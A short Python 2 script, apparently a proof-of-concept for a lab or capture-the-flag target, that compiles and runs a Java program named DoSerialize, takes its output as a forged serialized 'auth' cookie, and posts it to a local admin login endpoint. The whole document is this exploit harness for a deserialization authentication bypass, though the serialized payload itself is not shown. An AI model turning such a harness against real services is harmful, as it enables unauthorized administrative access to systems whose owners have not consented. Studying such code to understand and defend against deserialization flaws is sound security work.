import requests from subprocess import Popen, PIPE def console(cmd): p = Popen(cmd, shell=True, stdout=PIPE) out, err = p.communicate() return (p.returncode, out, err) console("javac DoSerialize.java") cookieval = console("java DoSerialize") cookie = {'auth': cookieval[1].strip()} r = requests.post('http://localhost:8081/admin/login', cookies=cookie, data=" ",allow_redirects=True) print r.text